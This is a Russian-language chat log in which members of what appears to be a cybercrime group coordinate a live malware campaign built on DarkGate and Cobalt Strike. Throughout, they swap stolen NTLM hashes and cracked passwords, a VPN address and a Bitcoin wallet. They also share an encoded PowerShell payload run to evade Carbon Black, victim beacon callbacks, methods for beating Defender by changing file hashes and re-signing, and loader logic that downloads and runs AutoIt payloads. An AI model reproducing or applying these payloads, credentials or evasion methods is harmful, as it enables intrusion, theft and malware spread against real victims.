может придет с exe

хотя с европы думаю начали бы уже идти

по моему нет никакого дропера нормального

`n0nm::NUMBER1:1122334455667788:fe445014a8e2e47b99da73f8abc07277:010100000000000019b2b76ad9fdd9015d98cb7b44badda60000000008003000300000000000000000000000002000009e5095bf8c91bb64eaa51e1a38dbbc58c93990b9a7a159f9ff4f45fde4c68b670a00100000000000000000000000000000000000090018004e0055004d0042004500520031005c006e0030006e006d000000000000000000`

> <@usernamegg:matrix.bestflowers247.online> sent an image.

```

такую еще тему подготовим https://xakep.ru/2023/10/13/smart-links-phishing/

300k+ ушло на канаду

стопнул

ясно

ок

хз тогда

я с пн ничего не менял

защита такая же стоит

но в пн тоже пробивались

я реверсы

я вижел

мне кажется в пн был сам даркгейт настроен так, чтобы вересы не проверпускать

короч

я хз

у меня лично деф палит

вот сейчас я проверил exe

палит уже

сабсиком

да

а хром еще в добавок не дает скачать

exe в зипе

в пн же мы слали msi подписанный?

нет

там карбон

серты есть но центр сертификации не пингуется

есть 2003

сейчас сканю

> Canada [CA]--------------------- 135 с канады идут так-то скачивнаия

ну вот

нужно msi делать чистый значит

+

ой

не так

file: SMTP1210(62k).txt

потому что msi сейчас палит как даркгейт

+

сначало подпишу, и проверю потом

вы проверьте стучит ли он вообще

ну вроде чисто

в каком смысле дропер?

мы же раньше слали js в зипе

хотя стоп

у меня ошибка

вы понимаете, что в пдф просто будет линк на js ?)

что вы имееете ввиду по упоковать?

> <@usernamegg:matrix.bestflowers247.online> вшитый был там либо линком либо прям аттачем

ну вот я сейчас поставил js в зипе

посмотрим будет ли кто стучать

потмоу что и так за сегодня прослали 800к

++

1.png

пока в процессе

уязвимые показывает что есть, порпробуем сейчас создать админа

приходит кто с js ?

file: Goods_8.txt_10.9.2023.txt

file: n5 1110.txt

file: Goods_f9f83fb8-e47d-47d3-9dbf-28ed6a0a06e3.txt_10.3.2023 n2.txt

123213safdg

а вот этих двух нет у меня

с канады идут скачивания, неужели никого?

двинулся

на сервер

да

нет, payload

длинный пайлоад в cmd, нашел тачку без зеленого щита

`LDT4SRVN.number1.local [10.191.2.25]`

> <@usernamegg:matrix.bestflowers247.online> 6:0 я все помню ) задрот )

N0DV

да

N0GA под ним ав было везде

или просто не досмотрели изначально

а это норм тачки или реверсы?

да нету ) чудо бы было если под одним юзером есть ав, под другим нет

карбон стоит

ну тогда ничего не идет

странно

думаю нет смысла слать юсу

> <@usernamegg:matrix.bestflowers247.online> запуски идут ?

2003 тоже въебали

в кобу не приходила тока

щас попробуем

384 ошибка была

с европы и канады

g_cl.exe могу въебать, он от какой винды работает помните ?

тачку просто может потушить

зеродей последний что был

у меня нет к нему инструкции

сейчас тоже это попробуем

`run g_cl.exe -c "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAFQAQgBiACsASABIADgARgBIADEASwBsAFYAawB5AEMAbAB4AGcAegBXADYAawBhAEUARgBBAFEAaQBBAEoAZQA4ADYAWgBTAFgARgBxAEQAYwBoAE8AYQBtACsALwBNAGYAMwA4AFAAcQBKAG4ATQBUAG0AWgAzAHEAbgBhAHQAbwBtAHkANgArADkAeQBlAGYAcwA3AHAAZwA0AHIAdwB0AFkAcABEADIAOABTAFMAYgB5AEgAaQBlAG8AYgBDAHkAUABZADkAbwBsAFcAcABYAEwAcgA2AEQAdABrADQAOABvAGwASAA0AG0AdQAxAHMAbwA0ADkARQB4AGQATAB4AGUAQgAxAGcALwBCAHIARQBQAHIAbQBxADIANQBaAEkAWQBvAGkANAB1AC8ASwB4AFYAZwBQAGQAWgBlAG8AWABTAFoANgArAE8AcgA2AFYAdQB5AGcAQgBsAEcAKwBGAEIAdQBSAEYAWQBlAG8AZgBuAEYAUgB1AFMAaQBuAFkAaQAvAFMAMQArAGoAVgAwADcARwBkAG8ARgBjAFgANABUAGYAZgBpAHMAQgBRADcAWgBrAEsAQQBzAFoAMwBkAGQAdAA3ACsAZgBLAGwASAA0AGMAaAA4AHYARAB4AC8AVwBhAEEATQBCAFYARgB5AEQAVQBjAEcAMABXADEATwB2AEcATgBtAEwAKwBoAEUARgAwAC8ARwBWAHQAawBZAHUASgB2ADQAdgBMADEAWgB1AEQANABoAHUANgBjAHQAdQBWADkAMwBYAHkARABvAEMAagBQAEsAdABaAEUAMwA5AFMATABDAEcANwBVAHcATABGAHgAcgBmAHIAWABYADkAWAA2ADgAMwBYAHoANQBZAGIAZAB4ADcAbwBUADEAYQBwAHEASABtAEgAawAzAGwAaQBPAFUANgAwAFQAMwArAHUARgBRAFMAMABQAFUASwAwAHEAMgBXAGIAbwBSAC8ANABhADMAOAB4AHQAcgA5ADIANgBtAFoAYgBlAHkANgBYAHoAMAB0AEgAMwBhAHYAMABVADIAUwBiAFEASQBZADcAZgBCADEAbABvAFAAYwByAFUAcQBqAEEAYwBBAHoAYgBVAEUAYwBOAHEAZwAzAGcAdQA3AEQAMgAvAHYAQgBCAGYAMwA3ADEAUgBZAGcALwBiAEwAcgByAGgAUABZAHgAQwBQADEAQgBSAG0ATgBnAG0AaQBtADYARwB1AG0AYwA1AFMARQBGAHIARQBLAHQARwBjAEkAVABlAHAAbABvAEgASgAwAEsARQA0ADkAQQBqAHoAcgA2AEEAWABPAEwAdgBVAE8AMwBTAGkAeAAyAG4AQQBYAHEAZgAvADEAVAB2AFMAMAAxAEcANgBSAG4AYwBQAHgAVwBxAGYAUgBTAEMAWABXAE0AYwAxAGgAcwBuAFQAdgB3AEoASABGAEwASgBtADYATQA2AEMATwBjAFgANwB6ACsAUQBxAHcANgAvAFgAdwBoAFcAcgAzAHkAdgBmAEUASgBWAEMAegBsAG8AbwAyAFAAMABpAGcASABmAEQAMQB5AHQAWABGAHcAOABsADAATQBFADgAZABUAEcAZgBtAFMAWABjAG8AOABFADIAUwBBAGsAYwBFAEwASABmAHAAZwBYAHgANgBtAEYATQBhAHEALwAvAEQAaQBmAG8AOQBtAHoAWgBOAFQANAByAGEATABtAFcAZQBvAGsAYwB6AHkAZQBvAHgAKwBQAHgAUABQAE0AdAA2ADIAWAB5AGsAVwA5AGMAbQBKAFAATQBmADkAcQB4AEwAWgBqAG8AYgBCAFkALwAzADAAMgBNAEcAaAB0AGUANABqAEoAUABkADIAMQB6AFQAUABoAGEANQArAGQARwBWAG8ANwBxAE0AVABqADUAcgB4AE4AQgBqADkAcgAxAGQATQBDAHMAcABnAFQATwB0AFUAQwAwAE8AZABmAHgAVgBqAFgAeAB1ACsAeQA5AE4ARQA1AHkAbwBSAHoAagA4AEEAcgBvAEUAVAA5AFoAMgBlAE8AWgAxAGkAcgA4AHAANgBFAFgATQBEAHYAKwBBADQAMAB2AFYAeABEAG0AcQBIAHoANwBsAE4AcQA1AFcAZgByAHgAWAB2AEIANQBiADYAagBSADEARwBEAEcATQBlAFEANQAyAGEARABVAEoASAB1AEkASwB0AEIAVQBGADUAawBuADUAYQBvAEcAUAB2AGwAcwBQAHIARABYAFMAbAAyAHMARwAzAHEARQBUADYAcgBlADYAbAAvAEEAdQBuAEoAZABOAC8AMwBJAEcATgBpAEUAMAA0AFgAWQBOAEQAVQBBAEoAbQAyADcAaABTAG8ATgBJAGkAaABiAFMARQA2AFYAKwAzAE4AMgBZAFgAcQBwADUAagAwAGQAYwBlAEIAbABBAE4ATgBDAFoAdwBKAHoAQgBSAFkAcQBMAGoAZwBUAEcAZwAxAC8AcAAwAGYAOQBSAHMAVgBZAGQANABOAEgATwBUAEMANwByAEkASwBjAFkANgArAGcAWgBwAHoAeQBxAGkAUwBiAHYAbwBHAFcAZABYAC8ANABQAFkANQBUADQANQBKAFUAVwBCADEAQgB1AG0ARAAwADAAQQBBADEAZgBGAHgAZwA1AGoAWgBJAFkAYQA2AFYAbQAzADgAUQByAHoALwB6AGIAMgBmAFMAOAB4AFAAYgB2AFoARABkAEQAcgBJAFcAcABtAEkAegAzAFMATwBpADMAUwA1AFQARgA3AE4ANABuAHAANQBmAEUAZQB5AHgAQwAzAEUAZwBCAGsAWAArAGkANgB0AFIANgBqAGIAVQBjAHMAaQBWAHEAdQAyAGUALwBHAGUAegA2AFgAdABwAEIAcwBPADIASQBRAGIANwBvAGUAcwBCAGsAOABDAFQAMwB2AFAAcwBhAEkAbwBLAEEARwB0AGkAQwBZAGIAUAA0ADIASABwAEwARABtAEoAegAyAG0ARQA2AGMAeABIADIAcwAwADIAZQBaAEkAMgBIAGYAWQBEADkAZwAxAG4AegB6ADUAeQAyAGIAcwBkAHAAcABXAHcAQwBjAHkAegBFAFgAMwArADIASABFADgAQQBsAEQARABWAHQANwBuACsAdAB1ADcASQBlAFQAbgBxAFAAOAB4AEUAaQBiAHgAbwBMAG4ANwBvADAAQgAxAHgAbgBPAEkAcQA3AFkAUAArAFEAVABtAHQAdgAzAEgAMwB3AFkAMwAvAEoASgAzAHgAZABBAHIAdABjAE4AUABEAHEAMQBPAG8AZwBWAHUAbQBnAGgAbQBtAGsAYgA5ADUAQwArAHkAZgBMAFIANwBFAG8AbABtADQATgBaAEwAbwBzAHoATgBwAEIAVgB6AHgASwBOADUAbwBRAFQANQBFAE0AcgBoADUAZwBnAEwAcgBVADkAVgBFAGcATABIAGoAVgB6AG0AbgBOAGYATQB4ACsAaQAvAGIAQwBJAEYAOQBIAGkAMwB2AFEARQBnAFIAOABLAHUAWABxADMAcwBmAGwAYwBUAGsAMABTAGsALwB2AHcANABMAFQASABxADAATwArADcANABHADgAMwBBAEYATQBNAGoAVwBYAGwARQA3AFgAeQBzAHcARgBsADUAbwBMAFcAYwB5AEgAUwAzAGsAQQBOAHYAYgB4AGYATgBNAFoAeQBxAEsAZgBVAFYAdQArAEcAegBLAHEAYQBoADEAVQBMAFcAdQBxAHoAWgBXAFQANgBBAHYAegB3AFUAdABMACsANgBxAFYAcABkAFkAMABlAGgASQAwAHYARwB5AFAAZABiAGUAVAA1ADEANQBYADUAYgBkADgASgBwAG8AQgBuAGkAMgBFAGIAcQBqAG4ALwBVAEMAMABrAFUARwB2AGMAYQBGAFgARQBGAGMAYgA0AFkARwBGAE0AWQBzAHoAVQBsAFcAVgAzAEEASwA3AHoAbABCAGoAUgBtAEQAWAA2ADAAcwBTAHgASwBEAGYAYwBjAHMAZABhAG8AOQBIAGMALwBsAGcAdABtAG4AUgB6AEUATQBlADQAaABpAFAAdQBqAGIAbwA3AG0ARwBwAEQAZgBQAE0AUQBCAGcAcQBhAFQAYgBUADIARQBCAGoAQgByAE4AdwA1AGQASQBrAFUAbQBaADcAUQA0AG0AMgBtAE0AOABlAGgAawA1ADMAZQBSAHMAcwBYAGIAdgBMAHQAbABmAHkAMQBjAG8AegAwAHUAVQBoAFoAbQA3AEoAMwBXAHkAUwBqAEoAMgBkAEYANgB2AHgAWABYAC8AQwBHAGEAMABXAHQAZQBnAE8AbQBOADUARQB3AHYAWgB0AC8AOABCADIAWgBtACsAbQBLAHoAVAB0AE8AZAA0AHMAbQBGAG0AUABVAFcAVgA3AHcAdABLAEQAYQBkAE4AYwBVAGEAUwBnAFQAYwBtAEgAMABZAFEAVgBGAHUAbwB1AGsAeABrAE8AUAAyAGwAcABqADUAawA0AHMAcQBhAFIAQQBUAFYAeAByAEoASABHAGsAdABLAGMAeABBAHQAdAAxACsAUABuADUATgAyAFkAUwBlAFgAKwB0AEMAbQBQADEAUgAzAGQAbgA1AEcAQgBwAEUAMAB5AFkAYwBwAG0AcwBtAGcANwBaADcAMQBQAEIAaQBuAEkAQwByAGYAcQBLACsAeQB5AHMASwBFAHcATwAwADcAOAB1AEwANwBhAE4AUwBtAE4AQgBkADMAVABDAGEAeAB6AEMAdQBoAGsANQA5AE4AQQBnAHoAMgB0AEsAYgB0AFMARwBGAGQAZwBsAFYAMQB6AE0AWgBqAEkAcwBjAFkANQBJADQAMQA4ADYARABQADAAVQBtAFoAVABTAGIAUwBBAFAAdwBxAFoAVABhAGUAVQBqAEsAMQBVAG0AagBFAEsAdgA2AFQAYQBTAG0AVABSADAAOABXAEEAawBwAFcAWgBzAHAAcwBNAFUAbABMAHIAYgArAFMAZABzAHEATgA1AGoAVQBvAFYATgB1AE8AMQA4AHQAbgBJAGoAdQBwAHcAQQAyAFcAYQBHAFEAeABOAEcAWQB3AGkAeABTAE4AMQB2AE8AaAAxADUAMQB1AEQATgBwAHIAdAA4AE8ARwBnADYAVAB4AEgAOQB4AEwAdABGAHAARwBhAGIAUgByADMAUwAxAGUAaQBPAE8AZAAyAG4AdgBSADUAOQAzADUAdQA3ADUATABPAE4ASgBSAFIAWgBJAEQAVgBBADYAcwB4AEsAeQBuAFoAMABoADEARwBjAHQAbgBSAE4ASgAzAGQAQwBmAHkAOQAzADcAcQBmAE0AdwB1ADYAZABVAEMAagAzAEQAVgBqADYAUwAxAEkAdwA1AFgAMQAxAEcAdwBOAE0AegBxADUAagA0ADMARQBpAFgAWQBMAGYAbwBRAEgAegBjAEQAbAB1AG0ANQBQAEgAbABwAGEAYQBtADcAVgBoADYAZgA1AFoAZwBGAGMAMwBEAGwAYgA0AFAARQBCAE8AQwAzAEMAcwArAFgAYgBpAG8AZwA2AFYAcABvAEIAeAB5AEoAaABqAC8AawArADUARQBzAFMANQBPAFkAbwBaAEMAMAAyADIAbABLAFEASQArAFoAdwBKAGsAcgBHAGYASgA5AGEAaAAxAFkAUQB5ADQAcwA3AGYAYgBQAGoANAB6ADcAawB1AEQARgBBAFYANAB5ADQAeAAvAGYAQQBPADMANwBHAHAAYQBUAE8AVABrAGkAVgBlADUATgBrAEwAcAB0AHMAcQBmADYAVABKAEsAYQBQAGoAMABYADkAVwB2AHMAaABkAEMAUwBIAFEAMwBIAE4ALwA0AHMAbwBCAHQAYwBPAEoAawA0ADEAQwBpAG8AVABsAEwAeAB5ACsAdQBxAHEAWAByAFEASwBwADQAVgBuAG0ASABrAHAATwA3AHMAUAByADkAZABHAEIAcwByAGEAZAAwAFcAeABLADgAdABoAG8AbgA4AG8AYwByAC8AcgBsAGkAUQA5AGoATgA1ADAAQgA0AG8AZgBkAEQAegBuACsANAByAHoAUQArADcAVQB0ADQAeAA5AHUANQBDAG8AMQBUADUAdgB0AFgAYwBvADkASgBBAEQAYgBTAGcAMABxAHUAYwBxAFQAegBtAE8AYgB4AGEAZAAxAG0AOQBhAEgAdQBqADcAagB0ADMAWQBDADkAeABtAFUAeABpADIAVwA1ACsATwA2AHMAVAA3AFIAbQBpAHYAagBqAEUAWgA4AFgAcABkAGQAaQBPAG4AQwBNADkATgAyAFgAbgBqAGwAeQA4AHIAQwBLAC8AeABqAHEAQwBJAHYAQQAxACsAYQB4AEIAawAxAGkAWgBKAHMAdgBqAHYAawBQAFgASwBuADQAUABTADkANABPADgAZABsAEwAVwBLAEQAcQB4AEQAMQA3ADgAcwBPAEsAVQBWAHUAbwBuADMATQBQAFkAYwA5AEgALwBFAGYAcQBmAFQAUAA1ADMAVQBBAHYAWQB5AGwAYgB1AEgAYgBUAFMAbwBjACsAUgBxAGwAZQBxAFgAeQBzAFYAZgBrADEAOABtAEkALwBzAEEAMwB5AG8AbwBEADMAUgBLAHoAawBYAFkAVAAzAEUAMQAxAHYAZgBnAEsAKwBhADgAcABxAHUAWABlAHAAMQBnAG0AYwBYAHgASwBWAE8AZgBDAGUAdQBJAFQAdwBxAGEAcgBmAGcAMAB5AGIAYwB4AE0AVwBkAFQAZgB6ADQAVwB2AHQARwBwAEwAcAA5AEYAUAA1AEcASwBNAGgARQAwAEcAMQBmAEMANwA0AEIASABFAFgAUQBmAGgAWABxAFMAMABWAG4AQQBaAGoALwBCADgAeQA1AFAAdAB3AEcARABnAEEAQQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AAoA"`

опа

ну кароче вот таким способом можно позвать, т.к. карбон длинный пейлоад не спалил

* `run g_cl.exe -c "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAFQAQgBiACsASABIADgARgBIADEASwBsAFYAawB5AEMAbAB4AGcAegBXADYAawBhAEUARgBBAFEAaQBBAEoAZQA4ADYAWgBTAFgARgBxAEQAYw"`

++

ща попробую

ok

image.png

ав от 21 Jun 2023 числа

ясно

еще нужно подумать, как эти js размножать хорошо

`N05N:0a6108cf94cb60033deb917cc913cf78`

нашли доменные

> <@usernamegg:matrix.bestflowers247.online> не рабоатет сразу ?

поднялся в итоге через него ?

`up12a:691e3b7cda723e3475cace9f64d59903`

> <@usernamegg:matrix.bestflowers247.online> если размножаешь с разным ихешами не рабоатет фаил ? битый ?

`N0HO:c00c44ba9265dee00306e3279af3956f`

просто мне кажется полетить подпись у файла

`n0d1a:646d5fb83cc3b3268552ce45be4430e7`

т.е. будет предупреждение на запуск js

а сейчас предупреждения нет

`up12:1ff04415ee18ec69232c5617dcc210e6`

ща проверю

`n11d:81714cae969ceed1cea3ae509b16ff26`

`10/13 10:53:59 *** initial beacon from jnaud@192.168.52.132 (TW-JNAUD)`

`N0HP:a292e0c2e46bc26f6dcf853998a62223`

> <@usernamevv:matrix.bestflowers247.online> поднялся в итоге через него ?

`n0a4a:bdfe9d6e69846f6eac26dd937c947c96`

`10/13 10:55:51 *** initial beacon from emma@10.0.0.72 (PAC-PC06)`

да

короче вот после подписи

лучше не менять файл вообще

т.е. нужно сначало размножить

а потом уже подписывать

иначе подпись слетает, и вылетает предупреждение при запуске

а проблема еще в том

что вручную 100 файликов быстре не подпишешь

этим крутым сертом

я еще погуглю, может все же можно подписать сразу 100 файлов

просто деф уже орет

ну потому что на выдаче один файлик

привет

сингл впн у тт не подключается надо проверить

1ff04415ee18ec69232c5617dcc210e6:up12:Santa2021!

++

IP 80.85.142.220

* IP 80.85.142.220 1194

```

aga

через secdump по одной шт не давало, в файл собрало

c00c44ba9265dee00306e3279af3956f:n0ho:Fastweb123!

`d0a6242409b1ddf17ac29dbec7d73524`

[FRONT1] arny стучит еще в боте?

в кобе ушел

не в этом проблема

просто я так буду сидеть каждые 10 минут ребилдить

или каждый час

как только спалит

ок

там что то все отваливается

просто этот крутой серт требует при каждам подписывании файла вводить логин, пасс, и OTP

я думал в консоль передам сразу имена 1000 файлов для подписи, введу логин пасс и отп и все

он подпишет все 1к файлов

но нет

он для каждого файла запрашивает

это я охерею так сидеть подписывать даже 100 файлов

всеп отъеб

да

пока ищу решение

нет, мы ничего злого не делали

только сканили

я закрыл ее наблюдал уже)

щас посмотрю

1 м отвал тоже

вроде что-то нашел, попробую

ща

3 минуты назад

ну

выбил меня?

nтак я ее забрал

подписать не успелд

вне домена

и походу природоохрана

bdfe9d6e69846f6eac26dd937c947c96:n0a4a:mat77$14

подпишешь?

++

stop my all

+

нашел решение

как подписать 100 файлов

подписываю уже

но и то не быстро подписывает

я размножил js

сделал вставку и функции

пустой

поменял выдачу

100 файлов подписал

чисто вроде как

а то по хешу деф палил

ща я этот скрипт для размножения еще поменяю

чтобы на линуксе работал

да, поменял хеш, и подписал

и тогда нет предупреждения

ну там лимит на 100 файлов за раз подписывать можно

короче я сделаю это под линукс, чтобы удобней было

а то 20 минут заняло

пока файлы туда сюда перекидывал

сделаю новые линки и запущу юсу

прочекал

все подписал

34 пк, а так ничего

)))

что по счет впна у ТТ

?

> <@usernamegg:matrix.bestflowers247.online> трастовые будут линки ?

обычные

дохнут трастовые быстро

> <@usernamegg:matrix.bestflowers247.online> завтра баня

obi4no v -16-17

* obi4no v 16-17

> <@usernamegg:matrix.bestflowers247.online> IP 80.85.142.220 1194 работает

работает но я не выключал

сейчас отправляем твой список где были доступы, поправили скрипт

+

я пока делаю автоматизацию подписывания js файлов

мой не тушить?

у меня тоже идет)

++

800k ушло на юсу и канаду

ладно скажи когда я могу зайти

приходит кто?

ну деф снова палит вакатаком

попробую еще раз переподписать

хм

ну да

смена хеша и переподписывание чистит от дефа

вроде

хм, там что-то ошибка станная была при запуске

http://temp.sh/RqRGZ/Capture.PNG

вы мне битый выдали?

ща старый переподпишу и проверю

а нет, старые все равно палит

даже смена хеша и переподписывание не помогли

тут конечно эти ошибки

что не понятно, будет ли стучать или нет

бро зайду , надо чекнуть

905k ушло

я пока стопнул

хочу понять идет там что-то или нет

сделал так сейчас, чтобы автоматом подписывалось=

на линукс машине сразу

короче нажал чекнуть update - выдало ошибку

с рассылки даже боты не летят

походу у него проблема

капец

блин, херово

ладно, еще попробуем с js

в пн

при том что вроде как чистить его могу

и подписывать не руками

правда подписывает даже 100 файлов не на лету

ну уже хотяб не руками

понял

так а приходило что?

просто какбудто js этот прям идеальный

чистый

и запускался без предупреждения

(из-за серта крутого)

я пока тоже выключусь, если что я рядом

просто оч похоже на то, как раньше была уязвимость с побитым сертом

когда тоже без предупреждений всякий можно было js запускать

ясно, я еще тут кажется понял, как лучше всего менять хеши js

нужно вставлять рандомные пустые функции в разные места js файла

а не в одно

короч подумаю как мне это реализовать автоматически

ну просто если в одно месте вставки делать

то через время все равно палит

потом поменял позицию вставки

переподписал

и чисто

значит нужно в рандомные места научится делать вставки

> <@usernamegg:matrix.bestflowers247.online> главное что бы он чистый был

ну если отвалился, может и все уже

автор хоть на месте?

FILE IMAP: IMAP1210(140k).txt

> <@usernamegg:matrix.bestflowers247.online> !

> <@lapa:matrix.bestflowers247.online> file: Goods_8.txt_10.9.2023.txt

Error: key status is disabled

хм

и сертификат кажется отрубили

привет

по деньгам закроемся?

да ладно

куда)

у вас еще лоадре отвалился

пятница уже

на пн оставим серт

я думаю хороший знак

если там задергались

+

+

кош bc1qjqahczqmkfceg6y8usy39yhfpns66zz3jrtha9

2150

Офнусь. До понеденльника. В пн попробуем еще раз JS

скрипты для генерации у меня готовы

++

спс

Привет

Да, я тут

все четко

уже почти все доделал

щас вот уже донастраиваю все и буду уже в обойме

у вас там как?

как дела?

понял, нормально ботов пришло за неделю?

или все равно маловато с этим MSI

ага, принял

я видел вы js слали

> <@usernamegg:matrix.bestflowers247.online> проблемка тут

сек

щас

если папки этой там нет, то просто новые exe запусти

ааа

у меня да

админ

поменяй

вместо administrator

на admin

поменяй

и все будет

😄

меня не хватало, чтобы поменять)

отпишешь заработало ли

кстати, я видел вы там слали .js, как с ним дела?

хуже чем msi шел?

https://bazaar.abuse.ch/sample/21cbf06080ae61f95617b3f65f85af5a1390133af6c5c516ac251f9f9cde7fa7/

или это не вы слали, а угвей?

+++

ааааа)))

бро привет

на связи?

получится по тз сделать комбайн под тимсы или пока не до этого?

у тебя есть кто-нибудь свободный, кто может написать, или пока не до этого?

раста кстати сказал что через пару дней будет js работать в качестве нагрузки в панеле

-----

https://www.hackergpt.chat/ru

зацени)

----

все понял)

у меня он один)) пока что

ладно я чтонибудь придумаю)

бро схема с пдфками норм заходит? сайт в пдф

то что слали по тимсам в тот раз

или херня по итогу

да, у меня есть пара идей на выходных накидал, в пнд попробуем

а тимс превратим в конвеер

думаю выхлоп будет на обьеме

как у тебя с имейлов

условно если прослать 1млн тиисов ,тоже нальет ботов

очень надеюсь на это

---

и выводы по рассылке внутри сети тоже будут в пнд

тк панель упала в пт, мы не все прослали

раста тебе не коментировал в чем проблема?

++

мы здесь

мы на месте

ок

ок вроде все понятно

ok

ну вроде все просто

сек

зашел, може начинать?

просто прочекать нужно?

ок

а где там открывать внутри даркгейта строку чтоб прописать systeminfo чтоб сразу спалть воркгруп или нет

++

image.png

а тут куда кликать после того как выбрал процесс

нашел

все получлось, пошло дело

++

в основном воркгруп, несколько в днс позвал, пробваем сидим, все понятно

ок

бро как базу имейлов валидировать?

все прочекал, почт все воркгруп, штук 6-7 в кобу позвал, пока все маленькие

еще 3 сетки пробить осталось

все пробили, либо мелочь либо воркгруп в общем

Привет

Как у вас там дела?

все получилось?

я завтар с утра если что уже буду

уже вроде как все донастроил

все четко

> <@usernamegg:matrix.bestflowers247.online> а ты мочему не можешь сделать что было нагрузку vbs b js ?

не проблема

> <@usernamegg:matrix.bestflowers247.online> ты что донастроил ?

> <@usernamegg:matrix.bestflowers247.online> заватра тебя слать будем ?

и делать новые билды

доброе

))

сейчас позовем

Привет!

Будем пробывать js подписанный слать?

+

Дедик скоро только еще новый обновлю, чтобы тестить на нем

Пятничный дарк гейт отвалился?

просто а снова он также не отвалится?

+

понял, домен заблочили

понял, ок

мг

еще пытаюсь

Привет

я тут

Сейчас проверку всего делаю, если ок все сразу выдам билды

час +- надо

отпишу сразу

Кстати, вы тимс слать будете?

Меня угвей с тимс фишером попросил там помочь, сделать комбайн, чтобы можно было масс слать по тимсу

Щас как все сделаю для вас, займусь этим комбайном, думаю если масс слать по нему, будет результат норм

скоро размножу, подпишу и проверю

хм

спалило при скачивании сразу

Trojan:Script/Ulthar.A!ml

все подписано, размножено даже

> <@usernamegg:matrix.bestflowers247.online> sent an image.

еще скачал с другого линка не спалило

209.127.27.13 отстучал?

все запустилось, ошибок не было

> <@usernamegg:matrix.bestflowers247.online> я только привязал новый домен

какой там домен?

проверю есть ли А запись у него

нужен esxi 6 для тестов

да, отпишу как все проверю

> <@usernameyy:matrix.bestflowers247.online> нужен esxi 6 для тестов

ну домен обычно через 1-2 часа заработает после покупки

+

js не стучал

но

я ему писал он сказал 2-3 нужно чтобы доделать

2-3 дня*

типо пилят

думаешь послать его?

+

тогда от него js нужен будет

но у меня что-то все равно палит при скачивании

уже с друх разных линков палит

Trojan:Script/Sabsik.FL.A!ml

странно

нет

будет какая-то альтернатива?

да, смогу конечно

Trojan:Script/Wacatac.B!ml

и такой дедект

что-то никак скачать не могу

чисто запуск длки и скачивание

броу скажи какой план примерно

неизвестность убивает

или идти искать когонибудь на просторах форума) перебирать долбоебов

очень не хочется

не получается - ав блокирует и в правах сильно ограничен

W говорит у него готово, но это w) там может быть не очень быстро все ..)

мс дефендер

мб еще что-то

ну расту шарахает конечно от 500в мес за 1 панель до 1млн в год за 3

+

> <@usernamegg:matrix.bestflowers247.online> в течение какого времени выдать сможешь ?

к 13 по МСК думаю

сможете лучше сегодня запустить на дг?

чтобы не спешить сильно, а то если накосячу где то, может все в пустую улететь

не хочу быть виновником проеба)

а то щас поспешу и накосячу где то и все в пустую будет

привет

удалить обычно дает только с правами

принял, ну тогда постораюсь как можно быстрее допроверить все и пофиксить баги если найду

я не знаю, думал твой кто-то

может у тебя 2 панели было в моменте он это имел ввиду

у меня партнеров кроме тебя нету)))

блять как они заебали)) спокойно поработать бы)

лям за год, я даже не представляю как это провести

делаю, все выходные прорабатывал план

дефендер блокирует работу скрипта, а потом его удаляет

да и хвнц от расты тоже ждет апдейта, к вопросу о ляме

обещал изначально 10 юезров , набрал 30

и тд

принял

ок

ну может к юсе успеет

я пока тут сам делаю хешер для js

рандомил чтобы хорошо

ошибки есть

ищу

да, я пока вручную определяю, куда делать рандомные вставки... но сейчас сделаю, чтобы скрипт сам определял куда эти рандомные вставки делать

нашел где бьет js, исправил

от мелкора нужен будет только один js файлик

JS под моего бота?

или под ваше что то?

+++

+++

ну я JS буду делать с вашими же ссылками

где вы длку мою проливать будете

```

так у него же скачивается au3 этот с его просто домена и все)

там же все тоже самое

просто через curl скачивается autoit.exe и au3 скрипт из его панели типо

ну по домену твоему

и все

и запускается

дальше там еще au3 скрипт скачивает exe и инжектит его в память куда то

чтобы уйти от скриптинга уже в память полностью

то есть в любом случае что то скачиваться будет

au3 скрипт я щас не смогу быстро написать

это надо подумать как правильно сдлетаь

ну как дг сделал

ну и морфинг к нему написать, чтобы каждый раз билды были уникальные

а я сделаю просто js, который будет точно также как у дг делать

запускать cmd, скачивать что то с линки и просто запускать это и все

абослютно та же самая логика как в дг

просто в vbs у него было по другому чутка

там vbs скачивал обычную команду с панели, по типу cmd.exe /c curl.exe http://domain.com:2351/adfguwie4 -O autoit.exe ...

и так далее

и просто запукал ее

а в JS уже есть эта команда

а в последнее версии VBS в DG

там был комент на первой строчке файла

тупо это команда как коммент зашита

и там этот файл чистал сам себя и выбирал первую строчку, обрезал 1 символ и запускал

тупо shell.execute

и все

то есть по сути техники все одинаковые, тупо что то скачивается и запускается

файлы сами как нагурзки, обычные прокладки перед командой для скачивания

если делать прям JS как сама по себе независимая нагрузка, то нужно делать оверлей файла в себя или куда то рядом ложить, читать, расшифровывать и класть куда нужно и запускать уже

то есть по сути только исключим загрузку самого файла

а в любом случае все что нагурзка выполняет - это или CMD или POWERSHELL

от этого не уйдем, разве что можно придумать что то с той командой, которая у меня в ZIP + LNK + DLL/EXE

типо такого

SCT файл где

вот такое что то можно придумать

тобишь у дарк гейта реализовано все то, что мы слали еще в прошлом году, просто сделано чуть чуть по другому, ну в целом основное отличие, это то что у него там au3 скрипт и все

